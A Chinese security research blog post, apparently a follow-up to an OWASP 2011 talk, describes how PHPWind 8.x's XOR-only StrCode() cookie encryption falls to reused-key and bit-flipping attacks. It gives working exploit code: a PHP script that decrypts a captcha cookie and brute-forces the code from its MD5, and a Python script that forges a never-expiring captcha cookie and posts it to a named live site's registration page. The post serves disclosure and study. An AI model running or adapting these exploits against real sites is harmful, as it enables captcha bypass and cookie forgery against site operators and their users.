本文只是补充OWASP 2011上主题演讲的一些细节。想了解背景可以参考此PPT。 由于时间匆忙,且家里发生了一些事情,所以这些都是2个月前的一些研究结果。代码也写得很粗糙,但基本能用。 描述 在PHPWind 8.x 中(甚至包括一些老版本),strcode()函数是核心的加密函数,用于很多地方,比如cookie的加密。但strcode()函数只是简单的实现了XOR加密,由于缺乏HMAC和IV,使得strcode() 存在Reused Key Attack 与 Bit-flipping Attack。攻击者通过一定的方法能够解密任意密文,或者构造出任意明文的密文。 细节解密任意密文 在common.php 中:/** * 加密、解密字符串 * *@global string $db_hash *@global array $pwServer *@param $string 待处理字符串 *@param $action 操作,ENCODE|DECODE *@return string */function StrCode($string, $action ='ENCODE') { $action!= 'ENCODE' && $string = base64_decode($string); $code= ''; $key= substr(md5($GLOBALS['pwServer']['HTTP_USER_AGENT'] . $GLOBALS['db_hash']), 8,18); $keyLen= strlen($key); $strLen= strlen($string); for($i = 0; $i $k= $i % $keyLen; $code.= $string[$i] ^ $key[$k]; } return($action != 'DECODE' ? base64_encode($code) : $code);} 那么,以破解验证码为例。在phpwind中,验证码是在ck.php中按照如下方式生成的: functiongetCode($type=null,$set=true) { empty($type)&& $type = $this->gdcontent; $code= ''; switch($type) { case3: global$db_charset,$lang; require_onceGetLang('ck'); $step= strtoupper($db_charset) == 'UTF-8' ? 3 : 2; $len = (strlen($lang['ck'])/$step) - 1; for($i = 0; $i num; $i++) { $code.= substr($lang['ck'],mt_rand(0,$len)*$step,$step); } $set&& $this->cookie($code); if(strtoupper($db_charset) 'UTF-8') { $code= $this->convert($code,'UTF-8',$db_charset); } $code= explode(',',wordwrap($code,3,',',1)); break; case2: $list= 'BCEFGHJKMPQRTVWXY2346789'; $len = strlen($list) - 1; for ($i = 0; $i num; $i++) { $code.= $list[mt_rand(0,$len)]; } $set&& $this->cookie($code); break; default: $list= '2346789'; $this->gdtype== 3 && $list .= '15'; $len= strlen($list) - 1; mt_srand((double)microtime() * 1000000); for($i = 0; $i num; $i++) { $code.= $list{mt_rand(0, $len)}; } $set&& $this->cookie($code); } return$code; } 同时验证码的字符集只有24个,因为有些字符容易让用户产生混淆,比如字母"l"与数字"1": $list= 'BCEFGHJKMPQRTVWXY2346789'; 最终将生成的验证码与时间戳绑定后写入Cookie中: 加密前的结构如下: 根据Reused Key Attack的攻击方法,知道明文1、密文1、密文2后,可以通过XOR操作推导出明文2。在验证码的应用中,有两个因素比较关键,一个是时间戳,一个是验证码的值。 但实际上有很多地方可以暴露时间戳。比如下面的地方:HTTP/1.1 200 OKServer: nginx/0.7.65Date: Mon, 05 Sep 2011 03:08:29 GMTContent-Type: image/pngTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.2.10Set-Cookie: dd499_c_stamp=1315192109; expires=Tue, 04-Sep-2012 03:08:29 GMT;path=/Set-Cookie: dd499_lastvisit=3522%091315192109%09%2Fck.php%3Fnowtime1315191874102;expires=Tue, 04-Sep-2012 03:08:29 GMT; path=/Pragma: no-cacheCache-control: no-cacheSet-Cookie: dd499_cknum=AQsFB1VdVlRSC28xUVYMBgUDUgEFClEGVANRBwQBAgJbBQNVCAABCgZWB1E;expires=Tue, 04-Sep-2012 03:08:29 GMT; path=/ 获取了时间戳和已知的验证码1后,可以构造出服务端使用的明文;结合抓取到的这次密文,就可以推导出任意密文的明文了。 但明文中未直接包含验证码的值,而只是使用了验证码的MD5,因此要破解出验证码,需要采用MD5 rainbow table的方式来逆向推导MD5后的验证码值。因为phpwind采用的验证码位数不是很多,只有4位、5位或6位,因此实际上只需要计算 24^4 = 331776 或者 24^5 = 7962624 次即可(验证码从24个字符中产生)。 演示代码如下: $code1 = "QPG3W8";$t = 1320392525;$str1 = base64_decode("AQUFBVIJAwIKAzloVVFRAQAOBFcEBQUDCVQMBQlWBgxWBwIOBQFTUQUBAQc"); // cipher to crack//加密方式: 时间戳."\t\t".md5(验证码.时间戳); $str2 = base64_decode("AQUFBVIJAwIBDjloXAYEBwJRAwAADVgBCVRdUlUAAgcHBlABCQMBBgAIAwE"); echo "TimeStamp is: ".$t."\n"; for ($jmp = 0; $jmp $x = ($t-10+$jmp)."\t\t".md5($code1.($t-10+$jmp)); $guess = ""; for ($i=0;$i $guess .= chr(ord($x[$i]) ^ ord($str1[$i]) ^ ord($str2[$i]) ); } //echo $guess."\n"; if ( is_numeric(substr($guess,0,10)) && preg_match("/^[a-z0-9]*$/i", substr($guess,-32) ) ){ //if ($jmp == 10){ echo "\nGuess Result is: ".$guess."\n"; break; } } // 遍历出checkcode $counter = 0; $startTime = time();$cksets = 'BCEFGHJKMPQRTVWXY2346789'; function bruteforce_guess($p){ global $counter; global $cksets; for ($a=0;$a $result = ""; $result[0] = $cksets[$a]; for($b=0;$b $result[1] = $cksets[$b]; for($c=0;$c $result[2] = $cksets[$c]; for($d=0;$d $result[3] = $cksets[$d]; for($e=0;$e $result[4] = $cksets[$e]; for($f=0;$f $counter ++; $result[5] = $cksets[$f]; $result = $result[0].$result[1].$result[2].$result[3].$result[4].$result[5]; if (md5($result.substr($p,0,10)) == substr($p,-32) ){ echo "CheckCode is: ".$result."\n"; return $result; } if ($counter % 300000 == 0){ echo "."; } } } } } } } return False;} function random_guess($p){ global $counter; global $cksets; for(;;){ $result = '';$len = strlen($cksets) - 1;$counter ++;for ($i = 0; $i $result .= $cksets[mt_rand(0,$len)]; }if (md5($result.substr($p,0,10)) == substr($p,-32) ){ echo "CheckCode is: ".$result."\n"; break; } if ($counter % 300000 == 0){ echo "."; } }} bruteforce_guess($guess); // 遍历所有可能性 //random_guess($guess); //随机生成方式遍历 echo "Counter is: ".$counter."\n"; echo "Spend Time: ".(time()-$startTime)." Seconds\n"; function hex($str){ $result = ''; for ($i=0;$i $result .= "\\x".ord($str[$i]); } return $result;} ?> 测试如下,要破解如下验证码: 攻击效果:构造任意明文的密文 还是以验证码为例,构造一个永久有效的验证码。 在phpwind中,是通过以下过程验证一个验证码的:1. Post参数 gdcode 的值为 valueA2. 解密cookie cknum的值,获取到原文为 valueB3. 通过safecheck()函数验证valueB的时间戳是否合法,以及valueB的 md5 是否与valueA的计算结果一致 Global.php:/** * 校验验证码 * *@param string $code */function GdConfirm($code,$bool = null) { Cookie('cknum','', 0); if(!$code || !SafeCheck(explode("\t", StrCode(GetCookie('cknum'),'DECODE')), strtoupper($code), 'cknum', 1800)) { if($bool){ returnfalse; }else{ Showmsg('check_error'); } } returntrue;} Common.php: /** * 检查cookie是否过期 * *@global int $timestamp *@param array $cookieData cookie数据 *@param string $pwdCode 用户私有信息 *@param string $cookieName cookie名 *@param int $expire 过期秒数 *@param bool $clearCookie 验证错误是否清除cookie *@param bool $refreshCookie 是否刷新cookie *@return bool */function SafeCheck($cookieData, $pwdCode,$cookieName = 'AdminUser', $expire = 1800,$clearCookie = true ,$refreshCookie =true) { global$timestamp; if($timestamp- $cookieData[0] > $expire) { Cookie($cookieName,'', 0); returnfalse; }elseif ($cookieData[2] != md5($pwdCode . $cookieData[0])) { $clearCookie&& Cookie($cookieName, '', 0); returnfalse; } if($refreshCookie) { $cookieData[0]= $timestamp; $cookieData[2]= md5($pwdCode . $cookieData[0]); Cookie($cookieName,StrCode(implode("\t", $cookieData))); } returntrue;} 注意到验证码的失效时间是服务端时间的1800秒之后。攻击者可以通过构造一个超级大的时间使得判断条件永远成立。$timestamp– $cookieData[0] 演示代码如下:import string import urllib2import urllib#from urlparse import urlparse import httplib import base64import md5 plaintext1 = "1320392525"+"\t\t"+md5.new("QPG3W8"+"1320392525").hexdigest()ciphertext1 = base64.b64decode("AQUFBVIJAwIKAzloVVFRAQAOBFcEBQUDCVQMBQlWBgxWBwIOBQFTUQUBAQc=") bigtime = "2000000000"plaintext2 = bigtime+"\t\t"+md5.new("2MY8W3"+bigtime).hexdigest()ciphertext2 = '' for i in range(0,len(plaintext1)): ciphertext2 += chr(ord(plaintext1[i]) ^ ord(ciphertext1[i]) ^ ord(plaintext2[i])) cookie = base64.b64encode(ciphertext2) url = "http://www.mtkjm.cn/register.php?verify=7f3e5fe4" data = {'action':'regcheck','gdcode':'2MY8W3','type':'reggdcode'}data = urllib.urlencode(data) headers = {'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20', 'Cookie':'be2f1_cknum='+cookie} req = urllib2.Request(url,data,headers) f = urllib2.urlopen(req) print f.read() 测试效果: (返回值为0说明验证通过,返回值为1是验证不通过) 01-14 18:54